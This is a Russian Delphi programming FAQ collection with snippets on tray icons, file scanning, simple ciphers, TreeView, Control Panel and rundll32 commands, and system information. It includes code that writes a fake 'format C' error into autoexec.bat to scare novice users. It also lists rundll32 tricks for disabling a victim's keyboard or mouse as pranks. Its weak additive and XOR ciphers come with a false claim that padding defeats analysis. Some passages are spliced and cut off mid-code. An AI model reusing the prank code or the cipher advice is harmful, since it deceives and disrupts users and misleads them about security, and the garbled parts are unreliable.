    uFlags := NIF_ICON or NIF_MESSAGE or NIF_TIP;
    uCallBackMessage := WM_NOTIFYTRAYICON;
    hIcon := LoadIcon(0, IDI_ASTERISK);
    szTip := ('My Resident');
  end;
  Shell_NotifyIcon(NIM_ADD, @tray);
end;

// Создание всплывающего меню:
function CreateMyMenu: hMenu;
begin
  result := CreatePopupMenu;
  if result = 0 then Exit;
  AppendMenu(result, MF_STRING, 0, 'Memo');
  AppendMenu(result, MF_STRING, 1, 'ScreenSaver');
  AppendMenu(result, MF_STRING, 2, 'Sleep');
  AppendMenu(result, MF_SEPARATOR, 3, 'Exit');
  AppendMenu(result, MF_STRING, 4, 'Exit');
end;

var
  msg: TMsg;
begin
  mywnd := CreateMyWnd; // Создание окна
  CreateTray; // Создание tray
  menu := CreateMyMenu; // Создание меню
  // Установка низкого приоритета:
  SetThreadPriority(GetCurrentThread, THREAD_PRIORITY_IDLE);
  // Регистрация "горячих клавиш":
  RegisterHotKey(mywnd, 0, 0, VK_PAUSE);
  RegisterHotKey(mywnd, 1, MOD_ALT, VK_PAUSE);
  RegisterHotKey(mywnd, 2, MOD_SHIFT, VK_PAUSE);
  RegisterHotKey(mywnd, 3, MOD_ALT or MOD_SHIFT, VK_PAUSE);

  // Распределение сообщений:
  while (GetMessage(msg, 0, 0, 0)) do begin
    TranslateMessage(msg);
    DispatchMessage(msg);
  end;

  // "Уничтожение" горячих клавиш:
  UnregisterHotKey(mywnd, 0);
  UnregisterHotKey(mywnd, 1);
  UnregisterHotKey(mywnd, 2);
end.
К заголовку




Простейший сканнер диска
Вот  пример, который ищет мп3 файлы на жестком диске...
unit Audit1;
interface
uses windos;

var
dest:string;

procedure dorecurse(dir:string);

implementation
{$R *.DFM}
Procedure Process (dir:string; Searchrec:tsearchrec);
begin

showmessage (Searchrec.name);
case Searchrec.attr of
$10:
if (searchrec.name<>'.') and (searchrec.name<>'..') then
begin
dorecurse (dir+'\'+searchrec.name);
writeln (dir);
end;
end;
end;

Procedure Dorecurse(dir:string);
var

Searchrec:Tsearchrec;
pc: array[0..79] of Char;

begin

StrPCopy(pc, dir+'\*.mp3');
FindFirst(pc, FaAnyfile, SearchRec);
Process (dir,SearchRec);
while FindNext(SearchRec)<>-18 do
begin
Process (dir,SearchRec);
end;
end;

Procedure startsearch;
begin

dorecurse (paramstr(1));
end;

begin

startsearch;
end.
К заголовку




Шифрование текста
Шифрование текста
Метод основан на сложении текста и пароля: "мой текст" + "пароль" = ('м'+'п')('о'+'а')... То есть каждый символ получают путем
сложения соответствующих символов текста и пароля. Под "сложением символов" я подразумеваю сложение номеров этих символов.
Обычно пароль длиннее текста, поэтому его размножают: "парольпар".

Чтобы расшифровать текст, нужно проделать обратную операцию, то есть из текста вычесть пароль.

При нажатии на Button1 эта программа шифрует текст из Memo1 при помощи пароля из Edit1. Результат сохраняется в строку s. Для
наглядности зашифрованный текст также помещается в Memo1. При нажатии на Button2 текст из s расшифровывается. Если Вы
нажмете Button1 два раза подряд, получится зашифрованный зашифрованный текст. Вернуть начальный текст можно будет двумя
нажатиями на Button2. Но, поскольку в результате шифрования в строке могут появится

var
  s: string;

procedure Code(var text: string; password: string;
  decode: boolean);
var
  i, PasswordLength: integer;
  sign: shortint;
begin
  PasswordLength := length(password);
  if PasswordLength = 0 then Exit;
  if decode
    then sign := -1
    else sign := 1;
  for i := 1 to Length(text) do
    text[i] := chr(ord(text[i]) + sign *
      ord(password[i mod PasswordLength + 1]));
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  s := Memo1.Text;
  code(s, Edit1.Text, false);
  Memo1.Text := s;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
  code(s, Edit1.Text, true);
  Memo1.Text := s;
end;


__________________________________________________________
Кодировка полиалфавитным шифром Вигeнера - xor кодировка
одна функция для кодирования и декодирования
Input - входная строка. При кодировании это незакодированная строка, при декодировнии это закодированная строка.
Key - слово ключ один и тот же в обоих случаях.


function VigenerCoDec(Input,Key:pchar):pchar
var
i,j:integer;
tmps,text:string;
begin
 text:=Input;
 for i:=1 to length(text) do
 begin
  if i>length(key) then j:=i mod length(key) else j:=i;
  tmps:=tmps+chr((ord(text[i]))xor(ord(key[j])));
 end;
 result:=pchar(tmps);
end;



 Пример использования:
Text:=edit1.text;
K:=edit2.text;
Edit3.text:=VigenerCoDec(Text,K);

Закодировать:
Input:='Привет я РУ'; Key:='hello'; result:='ГуднйзHвH++';
Восстановить:
Input:='ГуднйзHвH++'; Key:='hello'; result:='Привет я РУ';
--------------------------------------------------------------



function Shivrovka(str:string):string;
var i:integer;
   s:string;
   c:char;
begin
 s:='';
 if Length(str)>0 then
 for i:=1 to Length(str) do
 begin
   c:=str[i];
   s:=s+Chr(256-Ord(c));
 end;
 result:=s;
end;

Это на конкурс "Самый медленный код"? Приз зрительских симпатий Вам обеспечен 8)
-------------------------------------------------------------------------------



Данная функция (AddDisturbToText) представляет собой подготовительную операцию перед шифрацией текста любым алгоритмом.
Функция добавляет в текст случайное количество непечатных символов, располагая их хаотически.
Таким образом подготовленный текст, после шифрации одним и тем-же ключом, не зависимо от алгоритма, каждый раз будет выглядеть
 по разному и количественно и качественно, что практически сводит на нет любой статистический анализ.
При расшифровке, непечатные символы элементарно вычищаются функцией RemoveDisturbFromText.

const
 NPCS:set of char = [ #0..#8, #11, #12, #14..#31, #127];

// Добавление в текст непечатных символов
function AddDisturbToText(Source:String):String;
var n, c:integer;
begin
Randomize;
Result:=Source;
n:=(Length(Source)*2)+Random(Length(Source));
while Length(Result)К заголовку




Как вставить в StatusPanel свои компоненты, например ProgressBar?
pgProgress положить на форму как Visible := false;
StatusPanel надо OwnerDraw сделать и pефpешить, если Position меняется.

procedure TMainForm.stStatusBarDrawPanel(StatusBar: TStatusBar;
  Panel: TStatusPanel; const Rect: TRect);
begin
  if Panel.Index = pnProgress then
  begin
    pgProgress.BoundsRect := Rect;
    pgProgress.PaintTo(stStatusBar.Canvas.Handle, Rect.Left, Rect.Top);
  end;
end;
К заголовку




Как создать строку, разделяемую символом табуляции с помощью функции формат?
Пример:
ShowMessage(Format('%s'#9'%s', ['Column1', 'Column2']));
К заголовку




Как сохранить целочисленное значение вместе со строковым в TStringList?
Чтобы записать значения в TStringlist :
MyStringList.AddObject('Text string', TObject(100));
Чтобы прочитать значения:
Result := LongInt( MyStringList.Objects[0] );
Если Вы хотите сохранить более одного целочисленного значения, создайте потомка класса TObject
type
ManyValues = class(TObject)
Value1 : Integer;
Value2 : Integer;
end;
К заголовку




Различные процедуры со String?
1. Val (S; var V; var Code: Integer);
     Конвертирует стринг S в численную переменную V, если ошибка, то номер ошибочного символа помещается в переменную
     Code, в противном случае Code = 0; (см. help "Val Example")

 2. Pos(SubStr : string, S : string) : integer;
     Ищет позицию Substr в S, не найден = 0;

 3. Delete(S : string, Index : integer , Count : integer );
     Вырезает из стринга S  Count символов с позиции Index

 4. Insert(Substr: string, Dest : string, Index : integer);
     Вставляет в стринг Dest символы Substr в позицию Index

 5. Length(s : string) : integer;
     Определяет количество символов в строке S;

 6. TStrings.Equals
     function Equals(Strings: TStrings): Boolean
     Сравнивает два списка, если равны, то возвращает True;

=== 1 ===
Функция StrToInt позволяет очень удобно преобразовывать строку '123' в число 123. Но если строка не содержит число (например,
'абв'), будет выдано сообщение об ошибке. Чтобы этого избежать, можно воспользоваться процедурой val, которая, впрочем, не
очень удобна. В некоторых же случаях возможно использование StrToIntDef. В случае неверной строки функция вернет значение,
переданное ей со вторым параметром. Пример:

procedure TForm1.Edit1KeyDown(Sender: TObject; var Key: Word;
  Shift: TShiftState);
var
  v: integer;
begin
  if key = VK_RETURN then begin
    v := StrToIntDef(Edit1.Text, 0);
    Edit1.Text := IntToStr(v);
    Edit1.SelectAll;
  end;
end;
К заголовку




Как вставить компонент в TabbedNotebook в run-time?
Для этого надо воспользоваться TabbedNoteBook.Pages:
var
        NewButton : TButton;
        i : integer;
begin
        NewButton := TButton.Create(Self);
        NewButton.Parent := TWinControl(TabbedNotebook1.Pages.Objects[i]);
end;

Аналогичным образом можно поменять надпись на закладке страницы:

TabbedNotebook1.Pages.Strings[i]:='My Page caption';
К заголовку




Аналог процедуры Delay в Delphi?
procedure TForm1.Delay(msecs : Longint);
var
   FirstTick : longint;
begin
     FirstTick:=GetTickCount;
     repeat
       Application.ProcessMessages;
       {для того чтобы не "завесить" Windows}
     until GetTickCount-FirstTick >= msecs;
end;

К заголовку




Как сменить системное время в операционной системе из программы?
//*************************************************************************
// Функция (раздел Public) SetPCSystemTime изменяет системную дату и время.
// Параметр(ы) : tDati Новые дата и время
// Возвращаемые значения: True - успешное завершение
// False - метод несработал
//*************************************************************************
function SetPCSystemTime(tDati: TDateTime): Boolean;
var
tSetDati: TDateTime;
vDatiBias: Variant;
tTZI: TTimeZoneInformation;
tST: TSystemTime;
begin
GetTimeZoneInformation(tTZI);
vDatiBias := tTZI.Bias / 1440;
tSetDati := tDati + vDatiBias;
with tST do
begin
wYear := StrToInt(FormatDateTime('yyyy', tSetDati));
wMonth := StrToInt(FormatDateTime('mm', tSetDati));
wDay := StrToInt(FormatDateTime('dd', tSetDati));
wHour := StrToInt(FormatDateTime('hh', tSetDati));
wMinute := StrToInt(FormatDateTime('nn', tSetDati));
wSecond := StrToInt(FormatDateTime('ss', tSetDati));
wMilliseconds := 0;
end;
SetPCSystemTime := SetSystemTime(tST);
end;
К заголовку




Как узнать, високосный ли год?
IsLeapYear function
К заголовку




Как выделять стpочки в TTreeView жиpным или бледным?
procedure SetNodeState(node :TTreeNode; Flags: Integer);
var
  tvi: TTVItem;
begin
  FillChar(tvi, Sizeof(tvi), 0);
  tvi.hItem := node.ItemID;
  tvi.mask := TVIF_STATE;
  tvi.stateMask := TVIS_BOLD or TVIS_CUT;
  tvi.state := Flags;
  TreeView_SetItem(node.Handle, tvi);
end;

И вызываем:

SetNodeState(TreeView1.Selected, TVIS_BOLD);               // Текст жиpным
SetNodeState(TreeView1.Selected, TVIS_CUT);                // Иконкy бледной
(Ctrl+X)
SetNodeState(TreeView1.Selected, TVIS_BOLD or TVIS_CUT);   // Текст жиpным
SetNodeState(TreeView1.Selected, 0);                       // Hи того, ни
дpyгого

Когда-то (мечтательно закатив глаза в потолок) в API было еще и TVIS_DISABLE.
Снесли собаки. А pекомендyемyю стилистикy yпотpебления этого добpа смотpи в MS
Internet News.
К заголовку




Как загрузить в TreeView содержимое, например, диска С:\?
Как загрузить в TreeView содержимое, например, диска С:\?

FindFirstFile
FindNextFile
FindClose
А вообще самый лёгкий способ получить список файлов создать простой ListBox и отправить ему сообщение LB_DIR.
Примерно так:

SendMessage(hwndLB, LB_DIR, DDL_READWRITE | DDL_DIRECTORY, (LONG)"C:\\*.*");

а затем

цитата:
--------------------------------------------------------------------------------
Adding Tree-View Items
You add an item to a tree-view control by sending the TVM_INSERTITEM message to the control. The message includes the address of a
TVINSERTSTRUCT structure, specifying the parent item, the item after which the new item is inserted, and a TVITEM structure that
defines the attributes of the item. The attributes include the item's label, its selected and nonse vel; // heading level

// Open the file to parse.
if ((hf = CreateFile(lpszFileName, GENERIC_READ,
FILE_SHARE_READ, (LPSECURITY_ATTRIBUTES) NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,
(HANDLE) NULL)) == (HANDLE) INVALID_HANDLE_VALUE)
return FALSE;

// Call private function to parse the file looking for headings.
while ( GetNextHeadingAndLevelFromFile(hf, szItemText, &nLevel) )
// Add // Add the item to the tree-view control.
hPrev = (HTREEITEM) SendMessage(hwndTV, TVM_INSERTITEM, 0,
(LPARAM) (LPTVINSERTSTRUCT) &tvins);

// Save the handle to the item.
if (nLevel == 1)
hPrevRootItem = hPrev;
else if (nLevel == 2)
hPrevLev2Item = hPrev;

// The new item is a child item. Give the parent item a
// closed folder bitmap to indicate it now has child items.
if (nLevel > 1) {

А если тебе нужно полное подобие Explorer'ности, т.е. не только C:\ но и такие приятные вещички как Network Negihbourhood,
Printers и прочие папки (и их содержимое) которые не являются файлами, то стоит посмотреть MSDN: Enumerating Items in the Shell
(там как раз пример с Tree View +List View). Cм. в \Books\Progamming Windows 95 User Interface\Part 3\Chapter Fourteen
А если это все на Delphi, то там есть пример в Demos\VirtualListView\
А что делает (LONG)"C:\\*.*"? А то я в си не очень.
Кто знает че там в Дельфях надо написать?
Примерно так:
mask := '*.*';
SendMessage(hwnd, LB_DIR, DDL_READWRITE or DDL_DIRECTORY, integer(mask));
К заголовку




Как нарисовать около каждой ветви рисунок TBitMap?
есть компонент типа TTreeView TreeView1
Цель: возможность нарисовать около каждой ветви рисунок TBitMap. Я рисую
через канвас т.е.

=== 1 ===
Ставим приведённую ниже процедуру на событие
TreeView1AdvancedCustomDrawItem, (вызывается при перерисовке ветвей)
таким образом:

procedure TreeView1AdvancedCustomDrawItem(Sender: TCustomTreeView;
  Node: TTreeNode; State: TCustomDrawState; Stage: TCustomDrawStage;
  var PaintImages, DefaultDraw: Boolean);
var BitMap:TBitMap;
    NodeRect:TRect;
begin
with Node do
 begin
  // Определяем координаты куда рисовать
  NodeRect:=DisplayRect(True);    // на строке данной ветки, но: True -
сразу слева от ветки, False - справа от границы компонента
  BitMap:=TBitMap.Create;
  try
   ImageList1.GetBitMap(1,BitMap);   // загружаем в битовую карту
изображение из компонента TImageList
   TreeView.Canvas.Draw(NodeRect.Left,NodeRect.Top,BitMap);    //
Собственно рисуем
  finally
   BitMap.Free;     // освобождаем память уже от ненужного компонента
  end;
end;
end;


Проблема: Всё работает отлично, но!!! при рисование канвой изображения,
ШРИФТ ВЕТКИ МЕНЯЕТСЯ на уродливый System, не знаю чего с ним делать.

Если есть идеи, напишите.

P.S. Canvas.Font не помогает. Помогает только
Canvas.Font.Assign(TreeView1.Font) но только для текущей ветки, когда с
неё переключаеь на другую, "старая" снова меняется на System :(((

=== 2 ===
Пиктограммы узлов дерева лучше отрисовывать не на канве "руками",
а используя компонент TImageList. Имя этого
компонента (свойство TImageList.Name)
указывается в свойстве TTreeView.Images. Заполните TImageList
bmp-изображениями. Для отображения пиктограмм на дереве
устанавливайте свойства
TTreeView..Items[i].ImageIndex и
TTreeView.Items[i].SelectedIndex i-тых узлов в
соответствующие номера пиктограмм из списка.
Ответ 2:
Проблема в том, что при вызове Canvas.Handle создается новый Font.
Можно рисовать на DC. Но у меня обычно картинки  выводятся стандартным
образом, а текст около них рисую на DC.

Если решать только текущую задачу, то можно так:



uses Commctrl;

procedure TForm1.TreeView1AdvancedCustomDrawItem(Sender: TCustomTreeView;
  Node: TTreeNode; State: TCustomDrawState; Stage: TCustomDrawStage;
  var PaintImages, DefaultDraw: Boolean);
var
  DC                : HDC;
  NodeRect          : TRect;
begin
  NodeRect := Node.DisplayRect(True);
  DC := GetDC(TreeView1.Handle);
  ImageList_Draw(ImageList1.Handle, 3, DC,
    NodeRect.Left, NodeRect.Top, ILD_NORMAL);
  ReleaseDC(TreeView1.Handle, DC);
end;
К заголовку




Как отменить вставку в TreeView по ESC?
unit BetterTreeView;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  ComCtrls, CommCtrl;

type
  TTVNewEditCancelEvent = procedure( Sender: TObject;
    Node: TTreeNode; var Delete: Boolean) of object;
  TBetterTreeView = class(TTreeView)
  protected
    FIsEditingNew: Boolean;
    FOnEditCancel: TTVChangedEvent;
    FOnNewEditCancel: TTVNewEditCancelEvent;
    procedure Edit(const Item: TTVItem); override;
  public
    function NewChildAndEdit(Node: TTreeNode; const S: String)
      : TTreeNode;
  published
    property IsEditingNew: Boolean read FIsEditingNew;
    property OnEditCancel: TTVChangedEvent
      read FOnEditCancel write FOnEditCancel;
    property OnNewEditCancel: TTVNewEditCancelEvent
      read FOnNewEditCancel write FOnNewEditCancel;
  end;

implementation

procedure TBetterTreeView.Edit(const Item: TTVItem);
var
  Node: TTreeNode;
  Action: Boolean;
begin
  with Item do begin
    { Get the node }
    if (state and TVIF_PARAM) <> 0 then
      Node := Pointer(lParam)
    else
      Node := Items.GetNode(hItem);

    if pszText = nil then begin
      if FIsEditingNew then begin
        Action := True;
        if Assigned(FOnNewEditCancel) then
          FOnNewEditCancel(Self, Node, Action);
        if Action then
          Node.Destroy
      end
      else
        if Assigned(FOnEditCancel) then
          FOnEditCancel(Self, Node);
    end
    else
      inherited;
  end;
  FIsEditingNew := False;
end;

function TBetterTreeView.NewChildAndEdit
  (Node: TTreeNode; const S: String): TTreeNode;
begin
  SetFocus;
  Result := Items.AddChild(Node, S);
  FIsEditingNew := True;
  Node.Expand(False);
  Result.EditText;
  SetFocus;
end;

end.

К заголовку




Как проигрываеть MPEG файл в Delphi-программе?
Если в системе Windows MMSystem установлен декодер MPEG - используя компонент
TMediaPlayer

Пример:

procedure TForm1.Button1Click(Sender: TObject);
begin
        MediaPlayer1.Filename := 'C:\DownLoad\rsgrow.mpg';
        MediaPlayer1.Open;
        MediaPlayer1.Display := Panel1;
        MediaPlayer1.DisplayRect := Panel1.ClientRect;
        MediaPlayer1.Play;
end;
К заголовку




Как увеличить процессорное время, выделяемое программе
Следующий пример изменяет приоритет приложения. Изменение приоритета следует использовать с осторожностью - т.к.
присвоение слишком высокого приоритета может привести к медленной работе остальных программ и системы в целом ;-)

procedure TForm1.Button1Click(Sender: TObject);
var
ProcessID : DWORD;
ProcessHandle : THandle;
ThreadHandle : THandle;
begin
ProcessID := GetCurrentProcessID;
ProcessHandle := OpenProcess(PROCESS_SET_INFORMATION, false, ProcessID);
SetPriorityClass(ProcessHandle, REALTIME_PRIORITY_CLASS);
ThreadHandle := GetCurrentThread;
SetThreadPriority(ThreadHandle, THREAD_PRIORITY_TIME_CRITICAL);
end;

К заголовку




Запуск апплета, напр., "Панель управления"
=== 1 ===
Запустить аплет Панели управления можно вызвав функцию WinExec, для выполнения файла control.exe, которому
передано имя
аплета. Обычно аплеты панели управления расположены в каталоге System Windows и имеют расширение .cpl.

procedure TForm1.Button1Click(Sender: TObject);
begin
WinExec('C:\WINDOWS\CONTROL.EXE TIMEDATE.CPL', sw_ShowNormal);
end;

Запускать можете следующие апплеты:
Desk.cpl - свойства экрана
Inetcpl.cpl - свойства Internet
Intl.cpl - свойства "Язык и Стандарты"
Joy.cpl - игровые устройства
Mmsys.cpl - свойства мультимедиа
Modem.cpl - свойства модемы
Netcpl.cpl - сеть
Odbccp32.cpl - ODBC Data Source Administrator
Password.cpl - свойства пароли
Powercfg.cpl - свойства "Управление электропитанием"
Access.cpl - свойства "Специальные возможности"
Sticpl.cpl - свойства "Сканеры м камеры"
Sysdm.cpl - свойства системы
Telephon.cpl - параметры набора номера
Appwiz.cpl - установка и удаление программ
Main.cpl - мышь
Timedate.cpl - свойства "Дата и время"
dtccfg.cpl - настройка клиента MS DTC
Mlcfg32.cpl - свойства Microsoft Outlook
Findfast.cpl - Microsoft FrontPage
bdeadmin.cpl - BDE Administrator
ibmgr.cpl - Interbase manager

=== 2 ===
Вызвать свойства компьютера
ShellExecute(Application.Handle, 'open', 'sysdm.cpl', nil, nil,sw_ShowNormal);

Комментарий от "Marina Orlova" (mary77@atrus.ru)

По 'open' может и не открыться - код ошибки 31  SE_ERR_NOASSOC There is no application associated with the given
filename
extension.

чтобы работало на любой машине открываю файлы *.cpl примерно так:
ShellExecute(h,nil, 'Control.exe' ,'sysdm.cpl', nil,sw_ShowNormal);

=== 3 ===
Малоизвестные команды Windows 9xx для запуска из командной строки (управление с помощью rundll32)

Можно использовать из приложения Дельфи с помощью следующей конструкции:
ShellExecute(Application.Handle,
  Pchar('Open'),Pchar('C:\Windows\Rundll32.exe'),
  Pchar(команда),
  Pchar('C:\Windows'),SW_SHOWNORMAL);
где: команда - одна из перечисленных ниже

Например:
ShellExecute(Application.Handle,   Pchar('Open'),Pchar('C:\Windows\Rundll32.exe'),   Pchar('krnl386.exe,exitkernel'),
Pchar('C:\Windows'),SW_SHOWNORMAL);

"rundll32 shell32,Control_RunDLL" - Выводит "Панель управления"
"rundll32 shell32,OpenAs_RunDLL" - Выводит окошко - "Открыть с помощью.."
"rundll32 shell32,ShellAboutA Info-Box" - Покозать окно "About Windows"
"rundll32 shell32,Control_RunDLL desk.cpl" - Открыть "Свойства Экрана"
"rundll32 user,cascadechildwindows" - Сортировка окон "Каскадом" (Как в Win 3.x)
"rundll32 user,tilechildwindows" - Сместить Окна в низ
"rundll32 user,repaintscreen" - Обновить рабочий стол
"rundll32 shell,shellexecute Explorer" - Запустить проводник Windows.
"rundll32 keyboard,disable" - Вырубить Клавиатуру! (Вот Это я понимаю Заподло!)
"rundll32 mouse,disable" - Вырубить Мышь! (У Шефа Будет припадок:)))
"rundll32 user,swapmousebutton" - Поменять Местами клавиши Мыша! (Во мля! и этого Дядя Билли не забыл!)
"rundll32 user,setcursorpos" - Сместить курсор крысы в левый верхний угол
"rundll32 user,wnetconnectdialog" - Вызвать окно "Подключение сетевого диска"
"rundll32 user,wnetdisconnectdialog" - Вызвать окно "Отключение сетевого диска"
"rundll32 user,disableoemlayer" - Спровоцировать сбой!!! (Знаю, сам сразу не поверил, но это FUсKт...)
"rundll32 diskcopy,DiskCopyRunDll" - Показать окно "Copy Disk"
"rundll32 rnaui.dll,RnaWizard" - Вывод окна "Установка Связи", с ключем "/1" - без окна
"rundll32 shell32,SHFormatDrive" - Окно "Форматирование: Диск3,5(А)" вызвать
"rundll32 shell32,SHExitWindowsEx -1" - Перегрузить Explorer"rundll32 shell32,SHExitWindowsEx 1" - Выключение
Компутера.
"rundll32 shell32,SHExitWindowsEx 0" - Завершить Работу Текущего Пользователя
"rundll32 shell32,SHExitWindowsEx 2" Windows-98-PC boot
"rundll32 krnl386.exe,exitkernel" - выход из Windows без любых сообщений/вопросов
"rundll rnaui.dll,RnaDial "MyConnect" - Вызвать окошко "Установка связи" с соединением "MyConnect"
"rundll32 msprint2.dll,RUNDLL_PrintTestPage" - выбрать в появившемся меню принтер и послать, а него тест
"rundll32 user,setcaretblinktime" - установить новую частоту мигания курсора
"rundll32 user,setdoubleclicktime" - установить новую скорость двойного нажатия
"rundll32 sysdm.cpl,InstallDevice_Rundll" - установить non-Plug&Play оборудование

=== 3 ===
"Клизьма" корзине
 Есть функция SHEmptyRecycleBin (в shell32.dll)

К заголовку




Как вызвать диалог "Завершение работы"
procedure TForm1.Button1Click(Sender: TObject);
begin
SendMessage(FindWindow('Progman', 'Program Manager'), WM_CLOSE, 0, 0);
end;
К заголовку




Изменение свойств системы
Когда вы вызываете контекстное меню на иконке "Моего компьютера" и щёлкаете
на команде "Свойства" - вы видите свойства системы.

Эта статья позволит вам внести туда любой свой собственный текст и даже поместить
рисунок!
Что же для этого надо?
Для начала давайте заглянем в папку System, находящуюся в
директории Windows и найдём там файл инициализации с именем Oeminfo.ini,
нужно его отредактировать так, чтобы он выглядел
следующим образом:

[General]
Manufacturer="производитель типа Я"
Model="модель беспонтовая!!!  :-))"
[Support Information]
Line1="А здесь крутая инфа о поддержки"
Line2="тоже написанная мною,"
Line3="а Бил ГЕЙ, тс..."

Здесь, как видно, должно быть всего два раздела:
[General] - указанные здесь данные будут отображаться в окне
"Свойства: Система"  на закладке "Общие".
[Support Information] -  информация о поддержки, которая будет видна
в диалоговом окне появляющимся по нажатию на кнопке "Поддержка..."
на той же закладке.
В разделе [General] есть два параметра (Manufacturer и Model),
которым можно задавать любые значения. В разделе же информации
о поддержки можно создать сколько угодно параметров.
Чтобы было ещё эффектнее можно поместить в окно свойств
даже графический файл, для этого файл нужно сначала создать, используя
любой графический редактор, учитывая главное условие - размер файла
должен быть 127х127.
Назвать файл нужно так: Oemlogo.bmp, а затем
поместить в папку System, находящуюся в директории
Windows.
Ну, а как же собственно занести информацию в ini-файл
программно?
Всё довольно-таки просто :-)
Для взаимодействия с ini-файлами нужно сделать следующее:
Сначала в области uses нужно объявить модуль inifiles Затем
объявить переменную класса TIniFile Выделить память под этот объект,
т.е. создать его с помощью метода Create А после уже можно заносить
или считывать данные из этого ini-файла
Вид модуля должен быть примерно таким:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, inifiles;
    {Объявляем модуль для взаимодействия с ini-файлами}
type
TForm1 = class(TForm)
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.FormCreate(Sender: TObject);
{по созданию окна пишем следующий код}
var
APChar: array [0..254] of char;
{сначала нужно узнать где у пользователя папка Windows -
объявляем под это дело массив символов}
sFile:String;
{объявляем текстовую переменную под имя ini-файла}
Ini:TIniFile;
{...и экземпляр класса TIniFile для взаимодействия с файлами
инициализации}
begin
GetWindowsDirectory(APChar,255);
{узнаём, где у чудилки находится каталог Windows}
sFile:=String(APChar)+'\System\Oeminfo.ini';
{в текстовую переменную помещаем имя нужного нам файла}
if FileExists(sFile) then begin
{и если файл существует...}
Ini:=TIniFile.Create(sFile);
{связываем объявленную переменную с этим файлом}

{далее заносим данные, используя процедуру WriteString,
т.к. данные текстового типа.
Параметры у процедуры такие:
Имя раздела
Имя ключа
Вносимое значение}
Ini.WriteString('General','Manufacturer','"производитель типа Я"');
Ini.WriteString('General','Model','"модель беспонтовая!!! :-))"');
Ini.WriteString('Support Information','Line1','"А здесь крутая инфа о поддержки"');
Ini.WriteString('Support Information','Line2','"тоже написанная мною,"');
Ini.WriteString('Support Information','Line3','"а Бил ГЕЙ, тс..."');
Ini.Free;
{ну, а под конец, сделав своё грязное дело, мы как порядочные...
программисты - освобождаем занимаемую память}
end;
end;

end.
К заголовку




Как вывести сообщение во время загрузки Windows
Очень часто мы видим, что во время загрузки Windows
на чётном экране выводится какой-то текст. Но как
дописать туда что-нибудь своё? Хороший вопрос. Это
можно сделать с помощью файла Autoexec.bat,
находящегося в корневом каталоге.
Давайте откроем его, вписав в командную
строку("Пуск">"Выполнить") следующее:
SysEdit  - эта команда позволяет вызвать
редактор системных файлов. Самый
верхний и будет Autoexec.bat
Добавим следующее и перезагрузим машину:

@echo off
@echo Attention
@echo System error. File kernel.dll is fail. Press any key for format C
pause

 директива @echo off позволяет отключить
вывод echo директива @echo позволяет вывести сообщение
 директива pause позволяет задержать загрузку Windows -
нужно, чтобы пользователь обязательно заметил наше сообщение!..

И что же мы видим, ещё до того как загрузится
Windows, появится строка, гласящая, что
произошла системная ошибка.
Итак, неопытный пользователь, увидев
такое сообщение, не поймёт откуда оно
взялось и будет
всерьёз ошеломлён.
Нажать какую-нибудь клавишу осмелится не каждый...
но, в последствии, когда, несколько раз перезагрузив
компьютер... он обнаружит то же сообщение, ему уже
ничего не останется сделать, как рискнуть...
Да, выставить кого-нибудь чайником - занятие чрезмерно
приятное...

И наша очередная задача - сделать всё это из Delphi
Объявляем файловую переменную класса TextFile и
массив строк в публичных объявлениях
(после ключевого слова Public):

public
{ Public declarations }
f:TextFile;
t:array[1..4]of string;

По нажатию простого "батона" пишем код:
procedure TForm1.Button1Click(Sender: TObject);
var
 i:integer;
begin
 assignfile(f,'c:\autoexec.bat');
 Append(f);
 t[1]:='@echo off';
 t[2]:='@echo Attention';
 t[3]:='@echo System error. File kernel.dll is fail. Press any key for format C';
 t[4]:='pause';
 for i:=1 to 4 do begin
 writeln(f,t[i]);
end;
closefile(f);
end;

Как это сделано?
Сначала мы присваиваем файловой переменой файл Autoexec.bat:
assignfile(f,'c:\autoexec.bat');
Затем, используя функцию Append, добавляем текстовые
строки массива f в файл.
Строками массива является уже известный нам код,
который мы вписывали в Autoexec.bat.
Функция writeln(f,t[i]);  вписывает в цикле поочерёдно
элементы массива в файл f.
После того как мы внесли изменения, остаётся только
закрыть файл с помощью следующей строки кода:
closefile(f);

К заголовку




Как определить информацию о памяти (размер ОЗУ ...)?
Самый простой способ - использовать следующую функцию

Function GetRAMSize:integer;
var MS : TMemoryStatus;
Begin
 GlobalMemoryStatus(MS);
 Result := MS.dwTotalPhys;
end;
Функция возвращает размер ОЗУ в байтах.
В общем функция GlobalMemoryStatus заполняет структуру типа TMemoryStatus,
которая имеет ряд достаточно полезных полей:

dwTotalPhys Полный объем ОЗУ (т.е. физической памяти)
dwAvailPhys Свободный объем ОЗУ (как правило небольшая величина)
dwTotalVirtual Полный объем виртуальной памяти
dwAvailVirtual Свободный объем виртуальной памяти
dwMemoryLoad Процент использования памяти (0-не используется, 100-используется вся)
dwTotalPageFile Общий размер данных (в байтах), которые могут быть сохранены в файле
подкачки (но это не является его размером на диске !!)
dwAvailPageFile Доступный объем в файле подкачки

Прим. Перевод названий корявый - подробности в win32.hlp :));
К заголовку




Как получить список процессов?
procedure TForm1.Button1Click(Sender: TObject);
var
handler:thandle;
data:TProcessEntry32;
function return_name:string;
var
i:byte;
names:string;
begin
names:='';
i:=0;
while data.szExeFile[i] <> '' do
begin
names:=names+data.szExeFile[i];
inc(i);
end;
return_name:=names;
end;

begin
handler:=createtoolhelp32snapshot(TH32CS_SNAPALL,0);
if process32first(handler,data) then begin
listbox1.Items.add(return_name);
while process32next(handler,data) do
listbox1.Items.add(return_name);
end
else
showmessage('Ошибка получения информации :)');
end;

А запускать например так:
procedure TForm1.Label3Click(Sender: TObject);
begin
shellexecute(handle,'open','mailto:maxrus@mail.ru',nil,nil,0)
end;
end.
К заголовку




Как послать сообщение всем окнам в Windows?
Как послать самостийное сообщение всем главным окнам в Windows?

Пример:

Var
FM_FINDPHOTO: Integer;

// Для использовать hwnd_Broadcast нужно сперва зарегистрировать уникальное
// сообщение

Initialization
FM_FindPhoto:=RegisterWindowMessage('MyMessageToAll');

// Чтобы поймать это сообщение в другом приложении (приемнике) нужно перекрыть
DefaultHandler
procedure TForm1.DefaultHandler(var Message);
begin
  with TMessage(Message) do
  begin
